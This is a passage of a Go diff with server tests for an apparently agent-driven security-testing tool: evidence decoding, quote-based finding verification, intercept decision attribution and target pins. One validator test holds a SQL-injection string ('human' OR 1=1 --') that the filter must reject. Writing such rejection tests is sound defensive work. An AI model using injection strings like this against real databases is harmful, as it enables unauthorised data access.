+		t.Fatalf("plain text declared as gzip: out=%q err=%v, want an error and no bytes", out, err)
+	}
+}
+
+func TestDecodeEvidenceBodyIdentityAndNoHeaderUnchanged(t *testing.T) {
+	raw := []byte(decodeHTML)
+	for _, head := range []string{
+		"",
+		"HTTP 200\nContent-Type: text/html\n",
+		"HTTP 200\nContent-Encoding: identity\n",
+		"HTTP 200\r\ncontent-encoding:  Identity \r\n",
+	} {
+		out, truncated, err := decodeEvidenceBody(head, raw, verificationReadCap)
+		if err != nil || truncated || !bytes.Equal(out, raw) {
+			t.Fatalf("head %q: out=%q truncated=%v err=%v, want the raw bytes", head, out, truncated, err)
+		}
+	}
+}
+
+func TestDecodeEvidenceBodyUnknownEncodingFails(t *testing.T) {
+	raw := gzipBody(t, []byte(decodeHTML))
+	for _, head := range []string{
+		"HTTP 200\nContent-Encoding: br\n",
+		"HTTP 200\nContent-Encoding: gzip, br\n",
+		"HTTP 200\nContent-Encoding: gzip\nContent-Encoding: zstd\n",
+	} {
+		out, _, err := decodeEvidenceBody(head, raw, verificationReadCap)
+		if err == nil || !strings.Contains(err.Error(), "unsupported content-encoding") || out != nil {
+			t.Fatalf("head %q: out=%d bytes err=%v, want unsupported content-encoding", head, len(out), err)
+		}
+	}
+}
+
+func TestDecodeEvidenceBodyTwoLayersFails(t *testing.T) {
+	raw := gzipBody(t, gzipBody(t, []byte(decodeHTML)))
+	for _, head := range []string{
+		"HTTP 200\nContent-Encoding: gzip, gzip\n",
+		"HTTP 200\nContent-Encoding: gzip\nContent-Encoding: deflate\n",
+	} {
+		out, _, err := decodeEvidenceBody(head, raw, verificationReadCap)
+		if err == nil || !strings.Contains(err.Error(), "unsupported content-encoding") || out != nil {
+			t.Fatalf("head %q: out=%d bytes err=%v, want unsupported content-encoding", head, len(out), err)
+		}
+	}
+}
+
+func TestDecodeEvidenceBodyOverLimitTruncated(t *testing.T) {
+	const limit = 1000
+	plain := []byte(strings.Repeat("0123456789", 500))
+	out, truncated, err := decodeEvidenceBody(decodeGzipHead, gzipBody(t, plain), limit)
+	if err != nil || !truncated || len(out) != limit || !bytes.Equal(out, plain[:limit]) {
+		t.Fatalf("over limit: len=%d truncated=%v err=%v, want %d bytes truncated", len(out), truncated, err, limit)
+	}
+	// Exactly at the limit is complete, not truncated.
+	out, truncated, err = decodeEvidenceBody(decodeGzipHead, gzipBody(t, plain[:limit]), limit)
+	if err != nil || truncated || len(out) != limit {
+		t.Fatalf("at limit: len=%d truncated=%v err=%v, want %d bytes not truncated", len(out), truncated, err, limit)
+	}
+}
+
+func TestDecodeEvidenceBodyUppercaseHeader(t *testing.T) {
+	raw := gzipBody(t, []byte(decodeHTML))
+	for _, head := range []string{
+		"HTTP 200\nContent-Encoding: GZIP\n",
+		"HTTP 200\r\nCONTENT-ENCODING: GZIP\r\n",
+	} {
+		out, truncated, err := decodeEvidenceBody(head, raw, verificationReadCap)
+		if err != nil || truncated || string(out) != decodeHTML {
+			t.Fatalf("head %q: out=%q truncated=%v err=%v", head, out, truncated, err)
+		}
+	}
+}
+
+func TestDecodeEvidenceBodyDeflate(t *testing.T) {
+	const head = "HTTP 200\nContent-Encoding: deflate\n"
+	bodies := map[string][]byte{
+		"zlib": compressBody(t, func(w io.Writer) io.WriteCloser { return zlib.NewWriter(w) }, []byte(decodeHTML)),
+		"raw": compressBody(t, func(w io.Writer) io.WriteCloser {
+			fw, err := flate.NewWriter(w, flate.DefaultCompression)
+			if err != nil {
+				t.Fatal(err)
+			}
+			return fw
+		}, []byte(decodeHTML)),
+	}
+	for name, raw := range bodies {
+		out, truncated, err := decodeEvidenceBody(head, raw, verificationReadCap)
+		if err != nil || truncated || string(out) != decodeHTML {
+			t.Fatalf("%s deflate: out=%q truncated=%v err=%v", name, out, truncated, err)
+		}
+		if out, _, err := decodeEvidenceBody(head, raw[:len(raw)-1], verificationReadCap); err == nil || out != nil {
+			t.Fatalf("truncated %s deflate: out=%d bytes err=%v, want an error and no bytes", name, len(out), err)
+		}
+	}
+}
+
+func TestDecodeBoundResponseGzipTextIsSearchable(t *testing.T) {
+	store, snap := decodeSnapshot(t, decodeGzipHead, gzipBody(t, []byte(decodeHTML)))
+	bb, err := readBoundResponse(store, snap)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if bb.nonText || bb.truncated {
+		t.Fatalf("gzip html: nonText=%v truncated=%v", bb.nonText, bb.truncated)
+	}
+	if !quoteInBodies(normalizeEvidenceText(decodeQuote), []boundBody{bb}) {
+		t.Fatalf("quote %q not found in %q", decodeQuote, bb.text)
+	}
+}
+
+func TestDecodeBoundResponseGzipBinaryStaysNonText(t *testing.T) {
+	binary := append([]byte("PNG\x00\x01\x02 user admin: x7 end of dump "), 0xff, 0xfe)
+	store, snap := decodeSnapshot(t, decodeGzipHead, gzipBody(t, binary))
+	bb, err := readBoundResponse(store, snap)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !bb.nonText || bb.text != "" {
+		t.Fatalf("gzip binary: nonText=%v text=%q, want non-text", bb.nonText, bb.text)
+	}
+	if quoteInBodies(normalizeEvidenceText(decodeQuote), []boundBody{bb}) {
+		t.Fatal("quote matched inside a non-text body")
+	}
+}
+
+func TestDecodeBoundResponseBadGzipIsAnError(t *testing.T) {
+	raw := gzipBody(t, []byte(decodeHTML))
+	store, snap := decodeSnapshot(t, decodeGzipHead, raw[:len(raw)-4])
+	if bb, err := readBoundResponse(store, snap); err == nil {
+		t.Fatalf("truncated gzip: got %+v, want an error", bb)
+	}
+	store, snap = decodeSnapshot(t, "HTTP 200\nContent-Encoding: br\n", raw)
+	if bb, err := readBoundResponse(store, snap); err == nil || !strings.Contains(err.Error(), "unsupported content-encoding") {
+		t.Fatalf("br: got %+v err=%v, want unsupported content-encoding", bb, err)
+	}
+}
+
+// A response captured with Content-Encoding: gzip and no body at all (HEAD,
+// 304) is not a decode failure: it stays an empty body, without error.
+func TestDecodeEvidenceBodyEmptyBodyWithEncodingStaysEmpty(t *testing.T) {
+	for _, head := range []string{
+		decodeGzipHead,
+		"HTTP 304\r\nCONTENT-ENCODING: GZIP\r\n",
+		"HTTP 200\nContent-Encoding: deflate\n",
+	} {
+		for _, raw := range [][]byte{nil, {}} {
+			out, truncated, err := decodeEvidenceBody(head, raw, verificationReadCap)
+			if err != nil || truncated || len(out) != 0 {
+				t.Fatalf("head %q: out=%q truncated=%v err=%v, want an empty body and no error", head, out, truncated, err)
+			}
+		}
+	}
+}
+
+// An empty bound body, compressed or not, is read without error but can never
+// satisfy a quote. In assessFindingVerification a quote that matches no body
+// only leads to unverified or not_assessed, never verified, so this is what
+// keeps an empty response (HEAD, 304) from verifying a finding.
+func TestDecodeBoundResponseEmptyBodyNeverMatchesQuote(t *testing.T) {
+	cases := []struct {
+		name string
+		head string
+		raw  []byte
+	}{
+		{"gzip header, no bytes", decodeGzipHead, nil},
+		{"deflate header, no bytes", "HTTP 200\nContent-Encoding: deflate\n", nil},
+		{"identity header, no bytes", "HTTP 200\nContent-Encoding: identity\n", nil},
+		{"no encoding header, no bytes", "HTTP 304\nContent-Type: text/html\n", nil},
+		{"gzip stream of an empty payload", decodeGzipHead, gzipBody(t, nil)},
+	}
+	quotes := []string{
+		decodeQuote,
+		"x",
+		// Present in the response head: the head is not searchable text.
+		"Content-Encoding: gzip",
+		"HTTP 200",
+	}
+	for _, c := range cases {
+		store, snap := decodeSnapshot(t, c.head, c.raw)
+		bb, err := readBoundResponse(store, snap)
+		if err != nil {
+			t.Fatalf("%s: %v", c.name, err)
+		}
+		if bb.text != "" || bb.nonText || bb.truncated {
+			t.Fatalf("%s: got %+v, want an empty text body", c.name, bb)
+		}
+		for _, q := range quotes {
+			nq := normalizeEvidenceText(q)
+			if nq == "" {
+				t.Fatalf("quote %q normalizes to nothing", q)
+			}
+			if quoteInBodies(nq, []boundBody{bb}) {
+				t.Fatalf("%s: quote %q matched an empty body", c.name, q)
+			}
+		}
+	}
+}

server/finding_verification_test.go

@@ -0,0 +1,178 @@
+package server
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/Autumn-27/artex/db"
+	actool "github.com/Autumn-27/norma/tool"
+)
+
+const verificationBody = "HTTP/1.1 200 OK\nuser   admin:\tx7\nend of dump"
+
+func TestNormalizeEvidenceText(t *testing.T) {
+	cases := map[string]string{
+		"  a\t\tb\r\n c  ": "a b c",
+		"Admin  User":      "Admin User", // case is kept
+		"":                 "",
+	}
+	for in, want := range cases {
+		if got := normalizeEvidenceText(in); got != want {
+			t.Fatalf("normalize(%q) = %q, want %q", in, got, want)
+		}
+	}
+}
+
+func TestShortQuoteCapsAtSixtyRunes(t *testing.T) {
+	long := strings.Repeat("é", 100)
+	if got := []rune(shortQuote(long)); len(got) != verificationNoteQuoteLen {
+		t.Fatalf("shortQuote kept %d runes, want %d", len(got), verificationNoteQuoteLen)
+	}
+}
+
+// verificationFixture returns a server with one finding whose traffic "a" is
+// bound with the given role and whose response body is verificationBody.
+func verificationFixture(t *testing.T, role string) (*Server, *db.RecordedFinding, func(string, string, string) *httptest.ResponseRecorder) {
+	t.Helper()
+	s, f, req := trafficEvidenceServer(t)
+	seedServerEvidenceFlow(t, s, "a", []byte(verificationBody))
+	if role != "" {
+		base := fmt.Sprintf("/api/exploration/findings/%d/traffic", f.FindingID)
+		w := req("POST", base, fmt.Sprintf(`{"traffic_refs":[{"traffic_id":"a","role":%q}]}`, role))
+		if w.Code != 200 {
+			t.Fatalf("bind: %d %s", w.Code, w.Body)
+		}
+	}
+	return s, f, req
+}
+
+// updateReport calls update_finding_report with the node id, as the agent does.
+func updateReport(t *testing.T, s *Server, nodeID int64, extra string) (string, bool) {
+	t.Helper()
+	in := fmt.Sprintf(`{"finding_id":%d,"report":"# report","evidence_version":null%s}`, nodeID, extra)
+	res, err := s.toolUpdateFindingReport().Call(context.Background(), json.RawMessage(in), &actool.ToolContext{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	return res.Flatten(), res.IsError
+}
+
+func storedVerification(t *testing.T, s *Server, findingID int64) (status string, poe int, note, report string) {
+	t.Helper()
+	if err := s.m.pg.QueryRow(`SELECT verification_status, poe_level, verification_note, report FROM findings WHERE id=$1`, findingID).
+		Scan(&status, &poe, &note, &report); err != nil {
+		t.Fatal(err)
+	}
+	return
+}
+
+func TestVerificationNoBindingPOE4Unverified(t *testing.T) {
+	s, f, _ := verificationFixture(t, "")
+	msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":4,"evidence_quotes":["x7"]`)
+	if isErr || !strings.Contains(msg, "verification: unverified - no proof traffic bound") {
+		t.Fatalf("unexpected result: err=%v %q", isErr, msg)
+	}
+	status, poe, note, report := storedVerification(t, s, f.FindingID)
+	if status != db.VerificationUnverified || poe != 4 || note != "no proof traffic bound" || report == "" {
+		t.Fatalf("stored: status=%s poe=%d note=%q report=%q", status, poe, note, report)
+	}
+}
+
+func TestVerificationProofPOE3MissingQuoteUnverified(t *testing.T) {
+	s, f, _ := verificationFixture(t, "proof")
+	msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":3,"evidence_quotes":["secret=999"]`)
+	if isErr || !strings.Contains(msg, "warning:") {
+		t.Fatalf("unexpected result: err=%v %q", isErr, msg)
+	}
+	status, _, note, report := storedVerification(t, s, f.FindingID)
+	if status != db.VerificationUnverified || !strings.HasPrefix(note, "quote not found in bound evidence: secret=999") || report == "" {
+		t.Fatalf("stored: status=%s note=%q report=%q", status, note, report)
+	}
+}
+
+func TestVerificationProofPOE3ExactQuoteVerified(t *testing.T) {
+	s, f, _ := verificationFixture(t, "verification")
+	// The quote differs from the body only in whitespace runs: it must still match.
+	msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":3,"evidence_quotes":["user admin:  x7"]`)
+	if isErr || !strings.Contains(msg, "verification: verified (POE L3)") {
+		t.Fatalf("unexpected result: err=%v %q", isErr, msg)
+	}
+	status, poe, note, _ := storedVerification(t, s, f.FindingID)
+	if status != db.VerificationVerified || poe != 3 || note != "" {
+		t.Fatalf("stored: status=%s poe=%d note=%q", status, poe, note)
+	}
+}
+
+func TestVerificationShortQuoteUnverified(t *testing.T) {
+	s, f, _ := verificationFixture(t, "proof")
+	// "x7" is present in the body but below verificationMinQuoteRunes: it must not count.
+	msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":3,"evidence_quotes":["x7"]`)
+	if isErr || !strings.Contains(msg, "verification: unverified - evidence quote too short") {
+		t.Fatalf("unexpected result: err=%v %q", isErr, msg)
+	}
+	status, _, note, _ := storedVerification(t, s, f.FindingID)
+	if status != db.VerificationUnverified || note != "evidence quote too short" {
+		t.Fatalf("stored: status=%s note=%q", status, note)
+	}
+}
+
+func TestVerificationOldStyleCallUnverifiedWithoutError(t *testing.T) {
+	s, f, _ := verificationFixture(t, "proof")
+	msg, isErr := updateReport(t, s, f.NodeID, "")
+	if isErr || !strings.Contains(msg, "verification: unverified") {
+		t.Fatalf("unexpected result: err=%v %q", isErr, msg)
+	}
+	status, poe, _, report := storedVerification(t, s, f.FindingID)
+	if status != db.VerificationUnverified || poe != 0 || report == "" {
+		t.Fatalf("stored: status=%s poe=%d report=%q", status, poe, report)
+	}
+}
+
+func TestVerificationUnreadableStoreNotAssessedReportSaved(t *testing.T) {
+	s, f, _ := verificationFixture(t, "proof")
+	// Remove the blobs behind the bound snapshot: the evidence store cannot open the body.
+	if err := os.RemoveAll(filepath.Join(s.m.dir, "evidence")); err != nil {
+		t.Fatal(err)
+	}
+	msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":3,"evidence_quotes":["user admin:  x7"]`)
+	if isErr || !strings.Contains(msg, "verification: not_assessed") {
+		t.Fatalf("unexpected result: err=%v %q", isErr, msg)
+	}
+	status, _, note, report := storedVerification(t, s, f.FindingID)
+	if status != db.VerificationNotAssessed || !strings.HasPrefix(note, "evidence body unreadable") || report == "" {
+		t.Fatalf("stored: status=%s note=%q report=%q", status, note, report)
+	}
+}
+
+func TestVerificationRejectsOutOfRangePOE(t *testing.T) {
+	s, f, _ := verificationFixture(t, "proof")
+	msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":9`)
+	if !isErr || !strings.Contains(msg, "invalid poe_level 9") {
+		t.Fatalf("unexpected result: err=%v %q", isErr, msg)
+	}
+	if _, _, _, report := storedVerification(t, s, f.FindingID); report != "" {
+		t.Fatal("report must not be written when the input is rejected")
+	}
+}
+
+func TestVerificationColumnsExistWithHonestDefaults(t *testing.T) {
+	s, f, _ := trafficEvidenceServer(t)
+	var n int
+	if err := s.m.pg.QueryRow(`SELECT count(*) FROM information_schema.columns
+		WHERE table_name='findings' AND column_name IN ('poe_level','verification_status','verification_note')`).Scan(&n); err != nil {
+		t.Fatal(err)
+	}
+	if n != 3 {
+		t.Fatalf("expected 3 verification columns, found %d", n)
+	}
+	status, poe, note, _ := storedVerification(t, s, f.FindingID)
+	if status != db.VerificationUnverified || poe != 0 || note != "" {
+		t.Fatalf("new row: status=%s poe=%d note=%q", status, poe, note)
+	}
+}

server/findings_groups.go

@@ -29,9 +29,10 @@ func findingPaginationParam(raw string, fallback, upperBound int) int {
 // query string. The list / grouping / asset tree / export all share one parsing path; new filter options only change here.
 func findingFilterFromQuery(q url.Values) db.FindingFilter {
 	return db.FindingFilter{
-		Severity:  normFilter(q.Get("severity")),
-		Status:    normFilter(q.Get("status")),
-		VulnClass: normFilter(q.Get("vulnclass")),
+		Severity:           normFilter(q.Get("severity")),
+		Status:             normFilter(q.Get("status")),
+		VerificationStatus: normFilter(q.Get("verification_status")),
+		VulnClass:          normFilter(q.Get("vulnclass")),
 		// task_id (independent of the task param, which switches to the per-task-node branch): filters the global table by task.
 		TaskID:     normFilter(q.Get("task_id")),
 		Query:      q.Get("q"),

server/intercept.go

@@ -321,16 +321,21 @@ func (s *Server) interceptHistory(w http.ResponseWriter, r *http.Request) {
 }
 
 func interceptFilterParams(q url.Values) (db.InterceptApprovalFilter, error) {
-	filter := db.InterceptApprovalFilter{Status: q.Get("status"), DecisionSource: q.Get("decision_source")}
+	filter := db.InterceptApprovalFilter{Status: q.Get("status"), DecisionSource: q.Get("decision_source"), DecidedBy: q.Get("decided_by")}
 	switch filter.Status {
 	case "", "pending", "allowed", "denied", "timeout":
 	default:
 		return filter, fmt.Errorf("status must be pending, allowed, denied or timeout")
 	}
 	switch filter.DecisionSource {
-	case "", "model", "rule", "unknown":
+	case "", "model", "rule", "target", "unknown":
 	default:
-		return filter, fmt.Errorf("decision_source must be model, rule or unknown")
+		return filter, fmt.Errorf("decision_source must be model, rule, target or unknown")
+	}
+	switch filter.DecidedBy {
+	case "", "human", "rule", "model", "system":
+	default:
+		return filter, fmt.Errorf("decided_by must be human, rule, model or system")
 	}
 	return filter, nil
 }
@@ -367,7 +372,9 @@ func (s *Server) interceptDecide(w http.ResponseWriter, r *http.Request) {
 		writeErr(w, 400, "decision must be allowed or denied")
 		return
 	}
-	if err := s.m.interceptor.Decide(id, req.Decision == "allowed"); err != nil {
+	// On a target request "allowed" pins the addresses the request displayed.
+	// Every human decision records who took it and from where.
+	if err := s.m.interceptor.Decide(id, req.Decision == "allowed", s.approver(r), clientIP(r, s.trustedProxies)); err != nil {
 		if errors.Is(err, intercept.ErrAlreadyDecided) {
 			writeErr(w, 409, err.Error())
 			return
@@ -378,6 +385,84 @@ func (s *Server) interceptDecide(w http.ResponseWriter, r *http.Request) {
 	writeJSON(w, 200, map[string]any{"ok": true})
 }
 
+// --- target pins (hosts a human approved for one task or one conversation) ---
+
+// taskPinScope resolves {id} to the pin scope of an existing task.
+func (s *Server) taskPinScope(w http.ResponseWriter, r *http.Request) (db.TargetScopeRef, bool) {
+	id, ok := pathInt(r, "id")
+	if !ok || id <= 0 {
+		writeErr(w, 400, "bad task id")
+		return db.TargetScopeRef{}, false
+	}
+	if _, ok := s.m.Task(strconv.FormatInt(id, 10)); !ok {
+		writeErr(w, 404, "task not found")
+		return db.TargetScopeRef{}, false
+	}
+	return db.TargetScopeRef{TaskID: id}, true
+}
+
+func (s *Server) taskListTargetPins(w http.ResponseWriter, r *http.Request) {
+	if scope, ok := s.taskPinScope(w, r); ok {
+		s.listTargetPins(w, scope)
+	}
+}
+
+func (s *Server) taskRevokeTargetPin(w http.ResponseWriter, r *http.Request) {
+	if scope, ok := s.taskPinScope(w, r); ok {
+		s.revokeTargetPin(w, r, scope)
+	}
+}
+
+func (s *Server) convListTargetPins(w http.ResponseWriter, r *http.Request) {
+	if _, c, ok := s.convByID(w, r); ok {
+		s.listTargetPins(w, db.TargetScopeRef{ConversationID: c.ID})
+	}
+}
+
+func (s *Server) convRevokeTargetPin(w http.ResponseWriter, r *http.Request) {
+	if _, c, ok := s.convByID(w, r); ok {
+		s.revokeTargetPin(w, r, db.TargetScopeRef{ConversationID: c.ID})
+	}
+}
+
+// listTargetPins returns every pin of the scope, in any state, newest first.
+func (s *Server) listTargetPins(w http.ResponseWriter, scope db.TargetScopeRef) {
+	pg := s.pg(w)
+	if pg == nil {
+		return
+	}
+	pins, err := pg.ListTargetPins(scope)
+	if err != nil {
+		writeErr(w, 500, err.Error())
+		return
+	}
+	writeJSON(w, 200, map[string]any{"pins": pins})
+}
+
+// revokeTargetPin revokes pin {pid} of the scope. The next call to that host
+// asks again. Revoking a pin that is no longer active changes nothing.
+func (s *Server) revokeTargetPin(w http.ResponseWriter, r *http.Request, scope db.TargetScopeRef) {
+	pg := s.pg(w)
+	if pg == nil {
+		return
+	}
+	pid, ok := pathInt(r, "pid")
+	if !ok {
+		writeErr(w, 400, "bad pin id")
+		return
+	}
+	pin, err := pg.RevokeTargetPin(scope, pid)
+	if err != nil {
+		writeErr(w, 500, err.Error())
+		return
+	}
+	if pin == nil {
+		writeErr(w, 404, "pin not found")
+		return
+	}
+	writeJSON(w, 200, pin)
+}
+
 // --- tool-config (global tool interception scope) ---
 
 // interceptGetToolConfig returns the list of tool names that are currently

server/intercept_decided_by_test.go

@@ -0,0 +1,231 @@
+package server
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"net/http"
+	"net/http/httptest"
+	"net/url"
+	"strings"
+	"testing"
+
+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/artex/intercept"
+)
+
+// Pure parameter validation: runs without Postgres.
+func TestInterceptFilterParamsDecidedBy(t *testing.T) {
+	for _, actor := range []string{"", "human", "rule", "model", "system"} {
+		filter, err := interceptFilterParams(url.Values{"decided_by": {actor}})
+		if err != nil || filter.DecidedBy != actor {
+			t.Fatalf("decided_by=%q: %+v err=%v", actor, filter, err)
+		}
+	}
+	for _, actor := range []string{"invalid", "MODEL", "unknown", "human' OR 1=1 --"} {
+		if _, err := interceptFilterParams(url.Values{"decided_by": {actor}}); err == nil {
+			t.Fatalf("decided_by=%q accepted", actor)
+		}
+	}
+}
+
+// Drives every real writer (rule/model log, HTTP decide, timeout, cancellation)
+// and reads the actor back through the HTTP lists.
+func TestInterceptDecidedByHTTP(t *testing.T) {
+	dsn, _, err := db.DSN()
+	if err != nil {
+		t.Skip("no test database configured")
+	}
+	d, err := db.Open(dsn)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = d.Close() })
+	m := &Manager{pg: d, interceptor: intercept.New(d)}
+	s := &Server{m: m, jwtKey: []byte("approval-decided-by-test-key")}
+	h := s.Handler()
+	token, err := signJWT(s.jwtKey)
+	if err != nil {
+		t.Fatal(err)
+	}
+	scope := "approval-http-decided-by"
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, scope) })
+	rule, err := d.CreateInterceptRule("decided-by http fixture", "tool_name", "string", "Bash", "deny", "fixture", 1, false, false, 0, "deny")
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM intercept_rules WHERE id=$1`, rule.ID) })
+	do := func(method, path, body string) *httptest.ResponseRecorder {
+		req := httptest.NewRequest(method, path, strings.NewReader(body))
+		req.Header.Set("Authorization", "Bearer "+token)
+		rec := httptest.NewRecorder()
+		h.ServeHTTP(rec, req)
+		return rec
+	}
+
+	// Every step below adds exactly one row to the scope; added returns it.
+	want := map[int64]string{}
+	added := func(actor, status string) int64 {
+		t.Helper()
+		rows, err := d.ListTaskIntercepts(scope)
+		if err != nil {
+			t.Fatal(err)
+		}
+		for _, r := range rows {
+			if _, known := want[r.ID]; known {
+				continue
+			}
+			if r.Status != status {
+				t.Fatalf("new row %d has status %q, want %q", r.ID, r.Status, status)
+			}
+			want[r.ID] = actor
+			return r.ID
+		}
+		t.Fatalf("no new row for %s/%s", actor, status)
+		return 0
+	}
+	ctx := intercept.WithTaskContext(context.Background(), scope, "test", nil)
+	input := []byte(`{"command":"fixture"}`)
+	modelAsk := intercept.Decision{Action: "ask", Message: db.ModelReasonPrefix + " confirm"}
+
+	m.interceptor.Log(ctx, 0, intercept.Decision{Action: "deny", RuleID: rule.ID, Message: "fixture"}, "Bash", input, "denied")
+	ruleID := added("rule", "denied")
+	m.interceptor.Log(ctx, 0, intercept.Decision{Action: "allow", Message: db.ModelReasonPrefix + " fixture"}, "Bash", input, "allowed")
+	modelID := added("model", "allowed")
+
+	for _, decision := range []string{"allowed", "denied"} {
+		id, err := d.CreateInterceptPending(0, 0, scope, "test", "Bash", input, modelAsk.Message)
+		if err != nil {
+			t.Fatal(err)
+		}
+		if r := do(http.MethodPost, fmt.Sprintf("/api/intercept/pending/%d/decide", id), `{"decision":"`+decision+`"}`); r.Code != 200 {
+			t.Fatalf("decide %s: %d %s", decision, r.Code, r.Body.String())
+		}
+		if got := added("human", decision); got != id {
+			t.Fatalf("decided row %d, want %d", got, id)
+		}
+	}
+
+	timed := modelAsk
+	timed.TimeoutEnabled, timed.TimeoutSeconds, timed.TimeoutAction = true, 1, "deny"
+	if m.interceptor.HandleAsk(ctx, 0, timed, "Bash", input) {
+		t.Fatal("timeout policy deny allowed the call")
+	}
+	added("system", "timeout")
+
+	// Work cancelled: a system refusal recorded with status 'denied', on both
+	// the no-timeout and the timeout-armed wait.
+	cancelled, cancel := context.WithCancel(ctx)
+	cancel()
+	if m.interceptor.HandleAsk(cancelled, 0, modelAsk, "Bash", input) {
+		t.Fatal("cancelled ask allowed the call")
+	}
+	added("system", "denied")
+	timed.TimeoutSeconds = 60
+	if m.interceptor.HandleAsk(cancelled, 0, timed, "Bash", input) {
+		t.Fatal("cancelled timed ask allowed the call")
+	}
+	added("system", "denied")
+
+	if _, err := d.CreateInterceptPending(0, 0, scope, "test", "Bash", input, modelAsk.Message); err != nil {
+		t.Fatal(err)
+	}
+	added("", "pending")
+
+	type item struct {
+		ID        int64   `json:"id"`
+		Status    string  `json:"status"`
+		DecidedBy *string `json:"decided_by"`
+	}
+	list := func(path string) (items []item, total int) {
+		t.Helper()
+		rec := do(http.MethodGet, path, "")
+		var body struct {
+			Items []item `json:"items"`
+			Total int    `json:"total"`
+		}
+		if rec.Code != 200 || json.Unmarshal(rec.Body.Bytes(), &body) != nil {
+			t.Fatalf("%s: %d %s", path, rec.Code, rec.Body.String())
+		}
+		for _, it := range body.Items {
+			if it.DecidedBy == nil {
+				t.Fatalf("%s: item %d has no decided_by field", path, it.ID)
+			}
+		}
+		return body.Items, body.Total
+	}
+	task := "/api/intercept/task/" + scope
+	items, total := list(task)
+	if total != len(want) || len(items) != len(want) {
+		t.Fatalf("task list: total=%d items=%d want=%d", total, len(items), len(want))
+	}
+	for _, it := range items {
+		if *it.DecidedBy != want[it.ID] {
+			t.Fatalf("item %d (%s) decided_by=%q, want %q", it.ID, it.Status, *it.DecidedBy, want[it.ID])
+		}
+	}
+
+	for _, tc := range []struct {
+		query string
+		total int
+	}{
+		{"?decided_by=model", 1},
+		{"?decided_by=rule", 1},
+		{"?decided_by=human", 2},
+		{"?decided_by=system", 3},
+		{"?status=denied&decided_by=human", 1},
+		{"?status=denied&decided_by=system", 2},
+		{"?status=timeout&decided_by=model", 0},
+	} {
+		items, total := list(task + tc.query)
+		if total != tc.total || len(items) != tc.total {
+			t.Fatalf("%s: total=%d items=%d want=%d", tc.query, total, len(items), tc.total)
+		}
+		for _, it := range items {
+			if !strings.Contains(tc.query, "decided_by="+*it.DecidedBy) {
+				t.Fatalf("%s returned item %d decided by %q", tc.query, it.ID, *it.DecidedBy)
+			}
+		}
+	}
+	if items, _ := list(task + "?decided_by=model"); len(items) != 1 || items[0].ID != modelID {
+		t.Fatalf("decided_by=model returned %+v, want only %d", items, modelID)
+	}
+	// The global history holds other tests' rows too: none of this test's human,
+	// rule or system decisions may surface under decided_by=model.
+	items, _ = list("/api/intercept/history?size=100&decided_by=model")
+	for _, it := range items {
+		if actor, mine := want[it.ID]; *it.DecidedBy != "model" || mine && actor != "model" {
+			t.Fatalf("history decided_by=model returned item %d (%s) decided by %q", it.ID, it.Status, *it.DecidedBy)
+		}
+	}
+
+	for _, base := range []string{"/api/intercept/history", task} {
+		for _, query := range []string{"?decided_by=invalid", "?decided_by=MODEL", "?decided_by=unknown", "?page=1&decided_by=human%27+OR+1%3D1--"} {
+			if rec := do(http.MethodGet, base+query, ""); rec.Code != 400 {
+				t.Fatalf("invalid filter %s%s: %d %s", base, query, rec.Code, rec.Body.String())
+			}
+		}
+	}
+
+	// A row decided before the column existed keeps an empty decided_by; its
+	// decision_source stays in its own field and no decided_by filter returns it.
+	if _, err := d.Exec(`UPDATE intercept_pending SET decided_by='' WHERE id=$1`, ruleID); err != nil {
+		t.Fatal(err)
+	}
+	rec := do(http.MethodGet, fmt.Sprintf("/api/intercept/history/%d", ruleID), "")
+	var legacy struct {
+		DecidedBy      *string `json:"decided_by"`
+		DecisionSource string  `json:"decision_source"`
+	}
+	if rec.Code != 200 || json.Unmarshal(rec.Body.Bytes(), &legacy) != nil ||
+		legacy.DecidedBy == nil || *legacy.DecidedBy != "" || legacy.DecisionSource != "rule" {
+		t.Fatalf("legacy detail: %d %s", rec.Code, rec.Body.String())
+	}
+	if items, total := list(task + "?decided_by=rule"); total != 0 || len(items) != 0 {
+		t.Fatalf("legacy row matched decided_by=rule: %+v", items)
+	}
+	items, _ = list(task + "?decision_source=rule")
+	if len(items) != 1 || items[0].ID != ruleID || *items[0].DecidedBy != "" {
+		t.Fatalf("legacy row under decision_source=rule: %+v", items)
+	}
+}

server/intercept_filter_test.go

@@ -11,7 +11,6 @@ import (
 )
 
 func TestInterceptFilterHTTP(t *testing.T) {
-	t.Skip("known failure with a fresh database, pre-existing on unmodified upstream; tracked in BaaRai/ARTEX#9")
 	dsn, _, err := db.DSN()
 	if err != nil {
 		t.Skip("no test database configured")

server/llm_key_endpoint_test.go

@@ -0,0 +1,165 @@
+package server
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"sync/atomic"
+	"testing"
+
+	"github.com/Autumn-27/artex/agent"
+	"github.com/Autumn-27/artex/db"
+)
+
+func TestSameLLMEndpoint(t *testing.T) {
+	for _, tc := range []struct {
+		provA, baseA, provB, baseB string
+		want                       bool
+	}{
+		{"anthropic", "https://gw.example", "anthropic", "https://gw.example/", true},
+		{"anthropic", "https://gw.example/v1/messages", "anthropic", "https://gw.example", true},
+		{"", "", "anthropic", "", true}, // empty provider defaults to anthropic
+		{"openai", " https://gw.example/v1/chat/completions ", "openai", "https://gw.example/v1", true},
+		{"anthropic", "https://evil.example", "anthropic", "https://gw.example", false},
+		{"anthropic", "", "anthropic", "https://gw.example", false}, // canonical host != saved host
+		{"openai", "", "anthropic", "", false},                      // different canonical hosts
+		{"openai", "https://gw.example/v1", "openai-responses", "https://gw.example/v1", false},
+	} {
